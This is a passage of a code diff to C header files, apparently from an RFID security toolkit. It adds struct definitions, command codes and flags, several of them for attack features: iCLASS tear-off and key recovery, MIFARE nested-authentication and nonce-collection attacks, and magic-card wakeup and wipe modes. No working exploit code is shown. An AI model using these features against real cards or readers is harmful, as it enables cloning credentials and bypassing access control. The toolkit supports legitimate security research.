0x01 @@ -48,7 +49,8 @@ #define ICLASS_SIM_MODE_FULL 3 #define ICLASS_SIM_MODE_READER_ATTACK_KEYROLL 4 #define ICLASS_SIM_MODE_EXIT_AFTER_MAC 5 // note: device internal only -#define ICLASS_SIM_MODE_CONFIG_CARD 6 +#define ICLASS_SIM_MODE_FULL_GLITCH 6 +#define ICLASS_SIM_MODE_FULL_GLITCH_KEY 7 // iCLASS auth request data structure @@ -87,6 +89,17 @@ typedef struct { uint8_t mac[4]; } PACKED iclass_writeblock_req_t; +// iCLASS tearoff block request data structure +typedef struct { + iclass_auth_req_t req; + uint8_t data[8]; + uint8_t mac[4]; + int tear_start; + int tear_end; + int increment; + int tear_loop; +} PACKED iclass_tearblock_req_t; + // iCLASS write block request data structure typedef struct { iclass_auth_req_t req; @@ -108,6 +121,13 @@ typedef struct { typedef struct { iclass_auth_req_t req; iclass_auth_req_t req2; + uint32_t index; + uint32_t loop; + uint8_t nfa[8]; + bool debug; + bool test; + bool fast; + bool short_delay; } PACKED iclass_recover_req_t; typedef struct iclass_premac { @@ -149,12 +169,12 @@ typedef struct { // iCLASS secure mode memory mapping typedef struct { - uint8_t csn[8]; + uint8_t csn[PICOPASS_BLOCK_SIZE]; picopass_conf_block_t conf; - uint8_t epurse[8]; - uint8_t key_d[8]; - uint8_t key_c[8]; - uint8_t app_issuer_area[8]; + uint8_t epurse[PICOPASS_BLOCK_SIZE]; + uint8_t key_d[PICOPASS_BLOCK_SIZE]; + uint8_t key_c[PICOPASS_BLOCK_SIZE]; + uint8_t app_issuer_area[PICOPASS_BLOCK_SIZE]; } PACKED picopass_hdr_t; // iCLASS non-secure mode memory mapping @@ -178,5 +198,12 @@ typedef struct { } header; } PACKED iclass_card_select_resp_t; +typedef struct { + union { + picopass_hdr_t hdr; + picopass_ns_hdr_t ns_hdr; + } header; + uint8_t data[PICOPASS_MAX_BYTES]; +} PACKED iclass_tag_t; #endif // _ICLASS_H_ diff --git a/include/iso15.h b/include/iso15.h index 0d19c1756..9c39db3a3 100644 --- a/include/iso15.h +++ b/include/iso15.h @@ -20,10 +20,14 @@ #define _ISO15_H_ #include "common.h" + +#define ISO15693_UID_LENGTH 8 +#define ISO15693_ATQB_LENGTH 7 + typedef struct { - uint8_t uid[8]; + uint8_t uid[ISO15693_UID_LENGTH]; uint8_t uidlen; - uint8_t atqb[7]; + uint8_t atqb[ISO15693_ATQB_LENGTH]; uint8_t chipid; uint8_t cid; } PACKED iso15_card_select_t; diff --git a/include/iso18.h b/include/iso18.h index 377f864d0..da37819da 100644 --- a/include/iso18.h +++ b/include/iso18.h @@ -124,4 +124,31 @@ typedef struct { uint8_t PMi[8]; } PACKED felica_auth2_response_t; +typedef struct { + felica_frame_response_t frame_response; + uint8_t payload[4]; +} PACKED felica_service_dump_response_t; + +typedef struct { + uint8_t command_code[1]; + uint8_t IDm[8]; + uint8_t number_of_service[1]; + uint8_t service_code_list[2]; + uint8_t number_of_block[1]; +} PACKED felica_write_request_haeder_t; + +typedef struct { + uint8_t command_code[1]; + uint8_t IDm[8]; + uint8_t number_of_service[1]; + uint8_t service_code_list[2]; + uint8_t number_of_block[1]; +} PACKED felica_read_request_haeder_t; + + +typedef struct { + uint8_t random_challenge[16]; + uint8_t session_key[16]; +} PACKED felica_auth_context_t; + #endif // _ISO18_H_ diff --git a/include/mifare.h b/include/mifare.h index 02f0b49a3..4754a6f20 100644 --- a/include/mifare.h +++ b/include/mifare.h @@ -21,11 +21,10 @@ #include "common.h" +// These are also used to construct AUTH commands (60+x) #define MF_KEY_A 0 #define MF_KEY_B 1 -#define MF_KEY_BD08S 2 -#define MF_KEY_BD08 3 -#define MF_KEY_BD32 4 +#define MF_KEY_BD 4 #define MF_MAD1_SECTOR 0x00 #define MF_MAD2_SECTOR 0x10 @@ -84,6 +83,12 @@ typedef struct { uint8_t *dump; } iso14a_mf_dump_ev1_t; +typedef struct { + uint8_t nt[17][2][4]; + uint8_t nt_enc[17][2][4]; + uint8_t par_err[17][2]; + uint8_t blocks[64][16]; // [MIFARE_1K_MAXSECTOR * 4][MFBLOCK_SIZE] +} iso14a_fm11rf08s_nonces_with_data_t; typedef enum ISO14A_COMMAND { ISO14A_CONNECT = (1 << 0), @@ -99,26 +104,10 @@ typedef enum ISO14A_COMMAND { ISO14A_SEND_CHAINING = (1 << 10), ISO14A_USE_ECP = (1 << 11), ISO14A_USE_MAGSAFE = (1 << 12), - ISO14A_USE_CUSTOM_POLLING = (1 << 13) + ISO14A_USE_CUSTOM_POLLING = (1 << 13), + ISO14A_CRYPTO1MODE = (1 << 14) } iso14a_command_t; -// Defines a frame that will be used in a polling sequence -// ECP Frames are up to (7 + 16) bytes long, 24 bytes should cover future and other cases -typedef struct { - uint8_t frame[24]; - uint8_t frame_length; - uint8_t last_byte_bits; - uint16_t extra_delay; -} PACKED iso14a_polling_frame_t; - -// Defines polling sequence configuration -// 6 would be enough for 4 magsafe, 1 wupa, 1 ecp, -typedef struct { - iso14a_polling_frame_t frames[6]; - uint8_t frame_count; - uint16_t extra_timeout; -} PACKED iso14a_polling_parameters_t; - typedef struct { uint8_t *response; uint8_t *modulation; @@ -160,6 +149,13 @@ typedef enum { //----------------------------------------------------------------------------- // "hf 14a sim -x", "hf mf sim -x" attacks //----------------------------------------------------------------------------- +typedef enum { + EMPTY, + FIRST, + SECOND, + NESTED +} nonce_state; + typedef struct { uint32_t cuid; uint32_t nonce; @@ -171,11 +167,7 @@ typedef struct { uint32_t nr2; uint8_t sector; uint8_t keytype; - enum { - EMPTY, - FIRST, - SECOND, - } state; + uint8_t state; } PACKED nonces_t; #endif // _MIFARE_H_ diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index a8c5988f9..e5d8d2474 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -84,8 +84,9 @@ typedef struct { typedef struct { uint32_t magic; uint16_t length : 15; // length of the variable part, 0 if none. - bool ng : 1; - int16_t status; + bool ng : 1; + int8_t status; + int8_t reason; uint16_t cmd; } PACKED PacketResponseNGPreamble; @@ -101,7 +102,8 @@ typedef struct { uint16_t cmd; uint16_t length; uint32_t magic; // NG - int16_t status; // NG + int8_t status; // NG + int8_t reason; // NG uint16_t crc; // NG uint64_t oldarg[3]; // OLD union { @@ -129,6 +131,27 @@ typedef struct { bool verbose; } PACKED sample_config; + +// Defines a frame that will be used in a polling sequence +// Polling loop annotations are up to 20 bytes long, 24 bytes should cover future and other cases +typedef struct { + uint8_t frame[24]; + // negative values can be used to carry special info + int8_t frame_length; + uint8_t last_byte_bits; + uint16_t extra_delay; +} PACKED iso14a_polling_frame_t; + + +// Defines polling sequence configuration +typedef struct { + // 6 would be enough for 4 magsafe, 1 wupa, 1 pla, + iso14a_polling_frame_t frames[6]; + int8_t frame_count; + uint16_t extra_timeout; +} PACKED iso14a_polling_parameters_t; + + // A struct used to send hf14a-configs over USB typedef struct { int8_t forceanticol; // 0:auto 1:force executing anticol 2:force skipping anticol @@ -136,7 +159,9 @@ typedef struct { int8_t forcecl2; // 0:auto 1:force executing CL2 2:force skipping CL2 int8_t forcecl3; // 0:auto 1:force executing CL3 2:force skipping CL3 int8_t forcerats; // 0:auto 1:force executing RATS 2:force skipping RATS -} PACKED hf14a_config; + int8_t magsafe; // 0:disabled 1:enabled + iso14a_polling_frame_t polling_loop_annotation; // Polling loop annotation +} PACKED hf14a_config_t; // Tracelog Header struct typedef struct { @@ -321,8 +346,15 @@ typedef struct { typedef struct { uint8_t sectorcnt; uint8_t keytype; + uint8_t key[6]; } PACKED mfc_eload_t; +typedef struct { + bool use_flashmem; + uint16_t keycount; + uint8_t keys[]; +} PACKED mfulc_keys_t; + typedef struct { uint8_t status; uint8_t CSN[8]; @@ -430,6 +462,7 @@ typedef struct { #define CMD_FLASHMEM_DOWNLOADED 0x0124 #define CMD_FLASHMEM_INFO 0x0125 #define CMD_FLASHMEM_SET_SPIBAUDRATE 0x0126 +#define CMD_FLASHMEM_PAGES64K 0x0127 // RDV40, High level flashmem SPIFFS Manipulation // ALL function will have a lazy or Safe version @@ -571,6 +604,7 @@ typedef struct { #define CMD_HF_ISO15693_SLIX_PASS_PROTECT_AFI 0x0863 #define CMD_HF_ISO15693_SLIX_PASS_PROTECT_EAS 0x0864 #define CMD_HF_ISO15693_SLIX_WRITE_PWD 0x0865 +#define CMD_HF_ISO15693_SLIX_PROTECT_PAGE 0x0868 #define CMD_HF_ISO15693_WRITE_AFI 0x0866 #define CMD_HF_TEXKOM_SIMULATE 0x0320 #define CMD_HF_ISO15693_EML_CLEAR 0x0330 @@ -595,6 +629,13 @@ typedef struct { #define CMD_LF_HITAGS_SIMULATE 0x0368 #define CMD_LF_HITAGS_READ 0x0373 #define CMD_LF_HITAGS_WRITE 0x0375 +#define CMD_LF_HITAGS_UID 0x037A + +// For Hitag µ +#define CMD_LF_HITAGU_READ 0x037B +#define CMD_LF_HITAGU_WRITE 0x037C +#define CMD_LF_HITAGU_SIMULATE 0x037D +#define CMD_LF_HITAGU_UID 0x037E #define CMD_LF_HITAG_ELOAD 0x0376 @@ -604,8 +645,10 @@ typedef struct { #define CMD_HF_ISO14443A_SNIFF 0x0383 #define CMD_HF_ISO14443A_SIMULATE 0x0384 +#define CMD_HF_ISO14443A_SIM_AID 0x1420 #define CMD_HF_ISO14443A_READER 0x0385 +#define CMD_HF_ISO14443A_EMV_SIMULATE 0x0386 #define CMD_HF_LEGIC_SIMULATE 0x0387 #define CMD_HF_LEGIC_READER 0x0388 @@ -631,6 +674,7 @@ typedef struct { #define CMD_HF_ICLASS_RESTORE 0x039B #define CMD_HF_ICLASS_CREDIT_EPURSE 0x039C #define CMD_HF_ICLASS_RECOVER 0x039D +#define CMD_HF_ICLASS_TEARBL 0x039E // For ISO1092 / FeliCa @@ -761,30 +805,85 @@ typedef struct { #define CMD_UNKNOWN 0xFFFF //Mifare simulation flags -#define FLAG_INTERACTIVE 0x01 -#define FLAG_4B_UID_IN_DATA 0x02 -#define FLAG_7B_UID_IN_DATA 0x04 -#define FLAG_10B_UID_IN_DATA 0x08 -#define FLAG_UID_IN_EMUL 0x10 -#define FLAG_NR_AR_ATTACK 0x20 -#define FLAG_MF_MINI 0x80 -#define FLAG_MF_1K 0x100 -#define FLAG_MF_2K 0x200 -#define FLAG_MF_4K 0x400 -#define FLAG_FORCED_ATQA 0x800 -#define FLAG_FORCED_SAK 0x1000 -#define FLAG_CVE21_0430 0x2000 +// In interactive mode, we are expected to finish the operation with an ACK +#define FLAG_INTERACTIVE 0x0001 +#define FLAG_ATQA_IN_DATA 0x0002 +#define FLAG_SAK_IN_DATA 0x0004 +#define FLAG_ATS_IN_DATA 0x0008 +#define FLAG_ENUMERATE_AID 0x0010 +// internal constants, use the function macros instead +#define FLAG_MASK_UID 0x0030 +#define FLAG_UID_IN_EMUL 0x0000 +#define FLAG_4B_UID_IN_DATA 0x0010 +#define FLAG_7B_UID_IN_DATA 0x0020 +#define FLAG_10B_UID_IN_DATA 0x0030 +// if there is a UID in the data-section to be used: +// note: if UIDLEN is wrong, we default to FLAG_UID_IN_EMUL +#define FLAG_SET_UID_IN_DATA(flags, len) {\ + flags = (flags & (~FLAG_MASK_UID))|\ + (len == 4 ? FLAG_4B_UID_IN_DATA : \ + (len == 7 ? FLAG_7B_UID_IN_DATA : \ + (len == 10 ? FLAG_10B_UID_IN_DATA : \ + FLAG_UID_IN_EMUL)));\ + } +// else we tell to take UID from block 0: +#define FLAG_SET_UID_IN_EMUL(flags) {flags = (flags & (~FLAG_MASK_UID))|FLAG_UID_IN_EMUL;} +#define IS_FLAG_UID_IN_DATA(flags, len) (\ + (flags & FLAG_MASK_UID) == \ + (len == 4 ? FLAG_4B_UID_IN_DATA : \ + (len == 7 ? FLAG_7B_UID_IN_DATA : \ + (len == 10 ? FLAG_10B_UID_IN_DATA : \ + FLAG_UID_IN_EMUL)))\ + ) +#define IS_FLAG_UID_IN_EMUL(flags) ((flags & FLAG_MASK_UID) == FLAG_UID_IN_EMUL) + +// internal constants, use the function macros instead +#define MIFARE_4K_MAX_BYTES 4096 +#define MIFARE_2K_MAX_BYTES 2048 +#define MIFARE_1K_MAX_BYTES 1024 +#define MIFARE_MINI_MAX_BYTES 320 +#define FLAG_MASK_MF_SIZE 0x00C0 +#define FLAG_MF_MINI 0x0000 +#define FLAG_MF_1K 0x0040 +#define FLAG_MF_2K 0x0080 +#define FLAG_MF_4K 0x00C0 +#define FLAG_SET_MF_SIZE(flags, size) {\ + flags = (flags & (~FLAG_MASK_MF_SIZE))|\ + (size == MIFARE_MINI_MAX_BYTES ? FLAG_MF_MINI : \ + (size == MIFARE_1K_MAX_BYTES ? FLAG_MF_1K : \ + (size == MIFARE_2K_MAX_BYTES ? FLAG_MF_2K : \ + (size == MIFARE_4K_MAX_BYTES ? FLAG_MF_4K : \ + 0))));\ + } +// else we tell to take UID from block 0: +#define IS_FLAG_MF_SIZE(flags, size) (\ + (flags & FLAG_MASK_MF_SIZE) == \ + (size == MIFARE_MINI_MAX_BYTES ? FLAG_MF_MINI : \ + (size == MIFARE_1K_MAX_BYTES ? FLAG_MF_1K : \ + (size == MIFARE_2K_MAX_BYTES ? FLAG_MF_2K : \ + (size == MIFARE_4K_MAX_BYTES ? FLAG_MF_4K : \ + 0))))\ + ) + +#define FLAG_MF_USE_READ_KEYB 0x0100 +#define FLAG_CVE21_0430 0x0200 +// collect NR_AR responses for bruteforcing later +#define FLAG_NR_AR_ATTACK 0x0400 +// support nested authentication attack +#define FLAG_NESTED_AUTH_ATTACK 0x0800 +#define FLAG_MF_ALLOW_OOB_AUTH 0x1000 #define MODE_SIM_CSN 0 #define MODE_EXIT_AFTER_MAC 1 #define MODE_FULLSIM 2 // Static Nonce detection -#define NONCE_FAIL 0x01 -#define NONCE_NORMAL 0x02 -#define NONCE_STATIC 0x03 -#define NONCE_STATIC_ENC 0x04 +#define NONCE_FAIL 0x01 +#define NONCE_NORMAL 0x02 +#define NONCE_STATIC 0x03 +#define NONCE_STATIC_ENC 0x04 +#define NONCE_SUPERSTATIC 0x05 // Dbprintf flags #define FLAG_RAWPRINT 0x00 @@ -859,13 +958,26 @@ typedef struct { // Got wrong length error pm3: when received wrong length of data #define PM3_ELENGTH -27 -// No data pm3: no data available, no host frame available (not really an error) +// No key available client/pm3: no cryptographic key available. +#define PM3_ENOKEY -28 + +// Cryptographic error client/pm3: cryptographic operation failed +#define PM3_ECRYPTO -29 + +// File error client: error related to file does not exist in search paths +#define PM3_ENOFILE -30 +// No data client/pm3: no data available, no host frame available (not really an error) #define PM3_ENODATA -98 // Quit program client: reserved, order to quit the program #define PM3_EFATAL -99 // Regular quit #define PM3_SQUIT -100 +// reserved for future protocol change +#define PM3_RESERVED -128 + +#define PM3_REASON_UNKNOWN -1 + // LF #define LF_FREQ2DIV(f) ((int)(((12000.0 + (f)/2.0)/(f))-1)) #define LF_DIVISOR_125 LF_FREQ2DIV(125) diff --git a/include/pmflash.h b/include/pmflash.h index 65e373f8f..7e601c2bc 100644 --- a/include/pmflash.h +++ b/include/pmflash.h @@ -22,26 +22,32 @@ #include "common.h" // RDV40 Section -// 256kb divided into 4k sectors. -// -// 0x3F000 - 1 4kb sector = signature -// 0x3E000 - 1 4kb sector = settings -// 0x3D000 - 1 4kb sector = default T55XX keys dictionary -// 0x3B000 - 1 4kb sector = default ICLASS keys dictionary -// 0x38000 - 3 4kb sectors = default MFC keys dictionary +// 256KB divided into 4K sectors. +// +--------+-------------+---------+--------------------------+ +// | Sector | 256KB addr* | Size | Description | +// +--------+-------------+---------+--------------------------+ +// | N | 0x3F000 | 1 * 4KB | signature | +// | N-1 | 0x3E000 | 1 * 4KB | reserved for future use | +// +--------+-------------+---------+--------------------------+ // +// * For different memory size than 256KB the address is not valid. +// Please instead refer to Sector number, where N is the last +// 4KB secotr of the memory in question. + #ifndef FLASH_MEM_BLOCK_SIZE # define FLASH_MEM_BLOCK_SIZE 256 #endif -#ifndef FLASH_MEM_MAX_SIZE -# define FLASH_MEM_MAX_SIZE 0x40000 // (262144) +#ifndef FLASH_MEM_MAX_SIZE_P +# define FLASH_MEM_MAX_SIZE_P(p64k) (1024 * 64 * (p64k)) #endif -#ifndef FLASH_MEM_MAX_4K_SECTOR -# define FLASH_MEM_MAX_4K_SECTOR 0x3F000 +#ifndef FLASH_MEM_MAX_4K_SECTOR_P +# define FLASH_MEM_MAX_4K_SECTOR_P(p64k) (FLASH_MEM_MAX_SIZE_P(p64k) - 4096) #endif +#define FLASH_RESERVED_TRAILING_4K_SECTORS 2 + #ifndef FLASH_MEM_ID_LEN # define FLASH_MEM_ID_LEN 8 #endif @@ -50,40 +56,36 @@ # define FLASH_MEM_SIGNATURE_LEN 128 #endif -#ifndef FLASH_MEM_SIGNATURE_OFFSET // -1 for historical compatibility with already released Proxmark3 RDV4.0 devices -# define FLASH_MEM_SIGNATURE_OFFSET (FLASH_MEM_MAX_SIZE - FLASH_MEM_SIGNATURE_LEN - 1) +#ifndef FLASH_MEM_SIGNATURE_OFFSET_P +# define FLASH_MEM_SIGNATURE_OFFSET_P(p64k) (FLASH_MEM_MAX_SIZE_P(p64k) - FLASH_MEM_SIGNATURE_LEN - 1) #endif #ifndef T55XX_CONFIG_LEN # define T55XX_CONFIG_LEN sizeof( t55xx_configurations_t ) #endif -#ifndef T55XX_CONFIG_OFFSET -# define T55XX_CONFIG_OFFSET (FLASH_MEM_MAX_4K_SECTOR - 0x2000) -#endif +#define T55XX_CONFIG_FILE "cfg_t55xx.bin" -// Reserved space for T55XX PWD = 4 kb -#ifndef DEFAULT_T55XX_KEYS_OFFSET -# define DEFAULT_T55XX_KEYS_LEN (0x1000) -# define DEFAULT_T55XX_KEYS_OFFSET (T55XX_CONFIG_OFFSET - DEFAULT_T55XX_KEYS_LEN) -# define DEFAULT_T55XX_KEYS_MAX ((DEFAULT_T55XX_KEYS_LEN - 2) / 4) -#endif +// T55XX PWD stored in spiffs +#define T55XX_KEYS_FILE "dict_t55xx.bin" +#define T55XX_KEY_LENGTH 4 -// Reserved space for iClass keys = 4 kb -#ifndef DEFAULT_ICLASS_KEYS_OFFSET -# define DEFAULT_ICLASS_KEYS_LEN (0x1000) -# define DEFAULT_ICLASS_KEYS_OFFSET (DEFAULT_T55XX_KEYS_OFFSET - DEFAULT_ICLASS_KEYS_LEN) -# define DEFAULT_ICLASS_KEYS_MAX ((DEFAULT_ICLASS_KEYS_LEN - 2) / 8) -#endif +// iClass keys stored in spiffs +#define ICLASS_KEYS_FILE "dict_iclass.bin" +#define ICLASS_KEY_LENGTH 8 -// Reserved space for MIFARE Keys = 12 kb -#ifndef DEFAULT_MF_KEYS_OFFSET -# define DEFAULT_MF_KEYS_LEN (0x3000) -# define DEFAULT_MF_KEYS_OFFSET (DEFAULT_ICLASS_KEYS_OFFSET - DEFAULT_MF_KEYS_LEN) -# define DEFAULT_MF_KEYS_MAX ((DEFAULT_MF_KEYS_LEN - 2) / 6) -#endif +// Mifare keys stored in spiffs +#define MF_KEYS_FILE "dict_mf.bin" +#define MF_KEY_LENGTH 6 +// MIFARE Ultralight-C keys stored in spiffs +#define MFULC_KEYS_FILE "dict_mfulc.bin" +#define MFULC_KEY_LENGTH (16) + +// MIFARE Ultralight-AES keys stored in spiffs +#define MFULAES_KEYS_FILE "dict_mfulaes.bin" +#define MFULAES_KEY_LENGTH (16) // RDV40, validation structure to help identifying that client/firmware is talking with RDV40 typedef struct { uint8_t magic[4]; @@ -91,9 +93,5 @@ typedef struct { uint8_t signature[FLASH_MEM_SIGNATURE_LEN]; } PACKED rdv40_validation_t; -// SPIFFS current allocates 192KB of the 256KB available. -#ifndef FLASH_SPIFFS_ALLOCATED_SIZE -# define FLASH_SPIFFS_ALLOCATED_SIZE (1024 * 192) -#endif #endif // __PMFLASH_H diff --git a/include/protocols.h b/include/protocols.h index 23ee85f6b..43cb94c29 100644 --- a/include/protocols.h +++ b/include/protocols.h @@ -205,6 +205,12 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. #define MIFARE_EV1_UIDF1 0x40 #define MIFARE_EV1_UIDF2 0x20 #define MIFARE_EV1_UIDF3 0x60 +#define MIFARE_EV1_SELECT_APP 0x5A +#define MIFARE_EV1_AUTH_AES 0xAA +#define MIFARE_EV1_AUTH_AES_2 0xAF +#define MIFARE_EV1_GET_FILE_INFO 0xF5 +#define MIFARE_EV1_READ_DATA 0xBD + #define MIFARE_ULC_WRITE 0xA2 #define MIFARE_ULC_COMP_WRITE 0xA0 @@ -250,6 +256,8 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. // bit 3 - turn on FPGA // bit 4 - turn off FPGA // bit 5 - set datain instead of issuing USB reply (called via ARM for StandAloneMode14a) +// bit 6 - wipe tag. +// bit 7 - use USCUID/GDM (20/23) magic wakeup #define MAGIC_UID 0x01 #define MAGIC_WUPC 0x02 #define MAGIC_HALT 0x04 @@ -257,23 +265,25 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. #define MAGIC_OFF 0x10 #define MAGIC_DATAIN 0x20 #define MAGIC_WIPE 0x40 -#define MAGIC_SINGLE (MAGIC_WUPC | MAGIC_HALT | MAGIC_INIT | MAGIC_OFF) //0x1E +#define MAGIC_GDM_ALT_WUPC 0x80 +#define MAGIC_SINGLE (MAGIC_HALT | MAGIC_INIT | MAGIC_OFF) //0x1E // by CMD_HF_MIFARE_CIDENT / Flags -#define MAGIC_FLAG_NONE 0x0000 -#define MAGIC_FLAG_GEN_1A 0x0001 -#define MAGIC_FLAG_GEN_1B 0x0002 -#define MAGIC_FLAG_GEN_2 0x0004 -#define MAGIC_FLAG_GEN_UNFUSED 0x0008 -#define MAGIC_FLAG_SUPER_GEN1 0x0010 -#define MAGIC_FLAG_SUPER_GEN2 0x0020 -#define MAGIC_FLAG_NTAG21X 0x0040 -#define MAGIC_FLAG_GEN_3 0x0080 -#define MAGIC_FLAG_GEN_4GTU 0x0100 -#define MAGIC_FLAG_GDM_AUTH 0x0200 -#define MAGIC_FLAG_QL88 0x0400 -#define MAGIC_FLAG_GDM_WUP_20 0x0800 -#define MAGIC_FLAG_GDM_WUP_40 0x1000 +#define MAGIC_FLAG_NONE 0x0000 +#define MAGIC_FLAG_GEN_1A 0x0001 +#define MAGIC_FLAG_GEN_1B 0x0002 +#define MAGIC_FLAG_GEN_2 0x0004 +#define MAGIC_FLAG_GEN_UNFUSED 0x0008 +#define MAGIC_FLAG_SUPER_GEN1 0x0010 +#define MAGIC_FLAG_SUPER_GEN2 0x0020 +#define MAGIC_FLAG_NTAG21X 0x0040 +#define MAGIC_FLAG_GEN_3 0x0080 +#define MAGIC_FLAG_GEN_4GTU 0x0100 +#define MAGIC_FLAG_GDM_AUTH 0x0200 +#define MAGIC_FLAG_QL88 0x0400 +#define MAGIC_FLAG_GDM_WUP_20 0x0800 +#define MAGIC_FLAG_GDM_WUP_40 0x1000 +#define MAGIC_FLAG_GDM_WUP_40_ZUID 0x2000 // Commands for configuration of Gen4 GTU cards. @@ -445,11 +455,14 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. #define LTO 12 #define PROTO_HITAG2 13 #define PROTO_HITAGS 14 -#define PROTO_CRYPTORF 15 -#define SEOS 16 -#define PROTO_MFPLUS 17 -#define PROTO_TEXKOM 18 -#define PROTO_XEROX 19 +#define PROTO_HITAGU 15 +#define PROTO_CRYPTORF 16 +#define SEOS 17 +#define PROTO_MFPLUS 18 +#define PROTO_TEXKOM 19 +#define PROTO_XEROX 20 +#define PROTO_FMCOS20 21 +#define COUNT_OF_PROTOCOLS 22 // Picopass fuses #define FUSE_FPERS 0x80 @@ -468,24 +481,30 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. #define PICOPASS_SECURE_PAGEMODE_KEYS_MODIFIABLE 0x03 // ISO 7816-4 Basic interindustry commands. For command APDU's. -#define ISO7816_READ_BINARY 0xB0 -#define ISO7816_WRITE_BINARY 0xD0 -#define ISO7816_UPDATE_BINARY 0xD6 -#define ISO7816_ERASE_BINARY 0x0E -#define ISO7816_READ_RECORDS 0xB2 -#define ISO7816_WRITE_RECORDS 0xD2 -#define ISO7816_APPEND_RECORD 0xE2 -#define ISO7816_UPDATE_RECORD 0xDC -#define ISO7816_GET_DATA 0xCA -#define ISO7816_PUT_DATA 0xDA -#define ISO7816_SELECT_FILE 0xA4 -#define ISO7816_VERIFY 0x20 -#define ISO7816_INTERNAL_AUTHENTICATION 0x88 -#define ISO7816_EXTERNAL_AUTHENTICATION 0x82 -#define ISO7816_GET_CHALLENGE 0x84 -#define ISO7816_MANAGE_CHANNEL 0x70 +#define ISO7816_READ_BINARY 0xB0 +#define ISO7816_WRITE_BINARY 0xD0 +#define ISO7816_UPDATE_BINARY 0xD6 +#define ISO7816_ERASE_BINARY 0x0E +#define ISO7816_READ_RECORDS 0xB2 +#define ISO7816_WRITE_RECORDS 0xD2 +#define ISO7816_APPEND_RECORD 0xE2 +#define ISO7816_UPDATE_RECORD 0xDC +#define ISO7816_GET_DATA 0xCA +#define ISO7816_PUT_DATA 0xDA +#define ISO7816_SELECT_FILE 0xA4 +#define ISO7816_VERIFY 0x20 +#define ISO7816_INTERNAL_AUTHENTICATION 0x88 +#define ISO7816_EXTERNAL_AUTHENTICATION 0x82 +#define ISO7816_GET_CHALLENGE 0x84 +#define ISO7816_MANAGE_CHANNEL 0x70 +#define ISO7816_APPLICATION_BLOCK 0x1E +#define ISO7816_APPLICATION_UNBLOCK 0x18 +#define ISO7816_CARD_BLOCK 0x16 +#define ISO7816_GENERATE_APPLICATION_CRYPTOGRAM 0xAE +#define ISO7816_GET_PROCESSING_OPTIONS 0xA8 +#define ISO7816_PIN_CHANGE 0x24 -#define ISO7816_GET_RESPONSE 0xC0 +#define ISO7816_GET_RESPONSE 0xC0 // ISO7816-4 For response APDU's #define ISO7816_OK 0x9000 @@ -921,8 +940,8 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. // HITAG S commands #define HITAGS_UID_REQ_STD 0x30 // 00110 UID REQUEST Std -#define HITAGS_UID_REQ_ADV 0xC0 // 11000 UID REQUEST Adv -#define HITAGS_UID_REQ_ADV2 0xC8 // 11001 UID REQUEST Adv +#define HITAGS_UID_REQ_ADV2 0xC0 // 11000 UID REQUEST Adv compatible with HITAG2_START_AUTH +#define HITAGS_UID_REQ_ADV1 0xC8 // 11001 UID REQUEST Adv compatible with HITAG1_SET_CCNEW #define HITAGS_UID_REQ_FADV 0xD0 // 11010 UID REQUEST FAdv #define HITAGS_SELECT 0x00 // 00000 SELECT (UID) #define HITAGS_READ_PAGE 0xC0 // 1100 READ PAGE @@ -931,6 +950,25 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. #define HITAGS_WRITE_BLOCK 0x90 // 1001 WRITE BLOCK #define HITAGS_QUIET 0x70 // 0111 QUIET +// Hitag µ flags +#define HITAGU_FLAG_PEXT 0x01 // 0b00001 - Protocol EXTension flag +#define HITAGU_FLAG_INV 0x02 // 0b00010 - INVentory flag +#define HITAGU_FLAG_CRCT 0x04 // 0b00100 - CRC Transponder flag +#define HITAGU_FLAG_SEL 0x08 // 0b01000 - SELect flag (when INV=0) +#define HITAGU_FLAG_ADR 0x10 // 0b10000 - ADdRess flag (when INV=0) +#define HITAGU_FLAG_RFU 0x08 // 0b01000 - Reserved For Use flag (when INV=1, always 0) +#define HITAGU_FLAG_NOS 0x10 // 0b10000 - Number Of Slots flag (when INV=1) + +// Hitag µ commands (6-bit) +#define HITAGU_CMD_LOGIN 0x28 // 0b101000 - Login command +#define HITAGU_CMD_INVENTORY 0x00 // 0b000000 - Inventory command +#define HITAGU_CMD_READ_MULTIPLE_BLOCK 0x12 // 0b010010 - Read multiple block command +#define HITAGU_CMD_WRITE_SINGLE_BLOCK 0x14 // 0b010100 - Write single block command +#define HITAGU_CMD_SELECT 0x18 // 0b011000 - Select command +#define HITAGU_CMD_SYSINFO 0x17 // 0b010111 - Get system information command +#define HITAGU_CMD_READ_UID 0x02 // 0b000010 - Read UID command +#define HITAGU_CMD_STAY_QUIET 0x01 // 0b000001 - Stay quiet command + // LTO-CM commands #define LTO_REQ_STANDARD 0x45 #define LTO_REQ_ALL 0x4A @@ -947,5 +985,43 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. // 0x0A = ACK // 0x05 = NACK +//FMCOS2.0 +#define FMCOS20_CMD_VERIFY_PIN 0x20 +#define FMCOS20_CMD_EXTERNAL_AUTHENTICATION 0x82 +#define FMCOS20_CMD_GET_CHALLENGE 0x84 +#define FMCOS20_CMD_INTERNAL_AUTHENTICATION 0x88 +#define FMCOS20_CMD_SELECT 0xA4 +#define FMCOS20_CMD_READ_BINARY 0xB0 +#define FMCOS20_CMD_READ_RECORD 0xB2 +#define FMCOS20_CMD_GET_RESPONSE 0xC0 +#define FMCOS20_CMD_UPDATE_BINARY 0xD6 +#define FMCOS20_CMD_UPDATE_RECORD 0xDC +#define FMCOS20_CMD_APPEND_RECORD 0xE2 +#define FMCOS20_CMD_CARD_BLOCK 0x16 +#define FMCOS20_CMD_APP_UNBLOCK 0x18 +#define FMCOS20_CMD_APP_BLOCK 0x1E +#define FMCOS20_CMD_PIN_UNBLOCK 0x24 +#define FMCOS20_CMD_UNBLOCK 0x2C +#define FMCOS20_CMD_INITIALIZE_TRANSACTION 0x50 +#define FMCOS20_CMD_CREDIT_LOAD 0x52 +#define FMCOS20_CMD_PURCHASE 0x54 +#define FMCOS20_CMD_UPDATE_OVERDRAW_LIMIT 0x58 +#define FMCOS20_CMD_GET_TRANSACTION_PROOF 0x5A +#define FMCOS20_CMD_GET_BALANCE 0x5C +#define FMCOS20_CMD_CHANGE_PIN 0x5E +#define 